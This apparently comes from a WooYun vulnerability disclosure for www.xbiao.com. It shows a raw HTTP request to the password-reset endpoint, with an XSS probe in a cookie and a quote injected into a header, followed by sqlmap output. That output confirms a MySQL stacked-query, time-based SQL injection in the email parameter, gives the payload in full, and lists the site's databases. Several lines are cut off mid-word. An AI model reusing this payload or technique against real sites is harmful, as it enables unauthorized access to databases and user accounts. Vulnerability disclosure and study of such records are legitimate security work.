WooYun.org

POST /user/getpwd HTTP/1.1
IP Address: 8.8.8.8'
Content-Length: 219
Content-Type: application/x-www-form-urlencoded
X-Requested-With: XMLHttpRequest
Referer: http://www.xbiao.com:80/
Cookie: PHPSESSID=vjifvpc2bk39820cibtikjkkg6; YII_CSRF_TOKEN=06b9f295a0c30f3e707a816cf0c60ae02a4ba20es%3A40%3A%2250fd19bba4235cd360e55eade7b57f2a066beff9%22%3B; BAIDU_DUP_lcr=http://www.acunetix-referrer.com/javascript:domxssExecutionSink(0,"'\"><xsstag>()refdxss")
Host: www.xbiao.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.21
Accept: */*
UserResetPassword%5bemail%5d=admin@wooyun.org&YII_CSRF_TOKEN=50fd19bba4235cd360e55eade7b57f2a066beff9

sqlmap identified the following injection points with a total of 0 HTTP(s) requ
sts:
---
Parameter: UserResetPassword[email] (POST)
    Type: stacked queries
    Title: MySQL > 5.0.11 stacked queries (SELECT - comment)
    Payload: UserResetPassword[email]=admin@wooyun.org';(SELECT * FROM (SELECT(
LEEP(5)))XASl)#&YII_CSRF_TOKEN=50fd19bba4235cd360e55eade7b57f2a066beff9
---
[12:44:49] [INFO] the back-end DBMS is MySQL
web application technology: PHP 5.3.27
back-end DBMS: MySQL 5.0.11
[12:44:49] [INFO] fetching database names
[12:44:49] [INFO] fetching number of databases
[12:44:49] [INFO] resumed: 3
[12:44:49] [INFO] resumed: information_schema
[12:44:49] [INFO] resumed: test
[12:44:49] [INFO] resumed: watch
available databases [3]:
[*] information_schema
[*] test
[*] watch
[12:44:49] [INFO] fetched data logged to text files under 'C:\Users\Administrat
r\.sqlmap\output\www.xbiao.com'
[*] shutting down at 12:44:49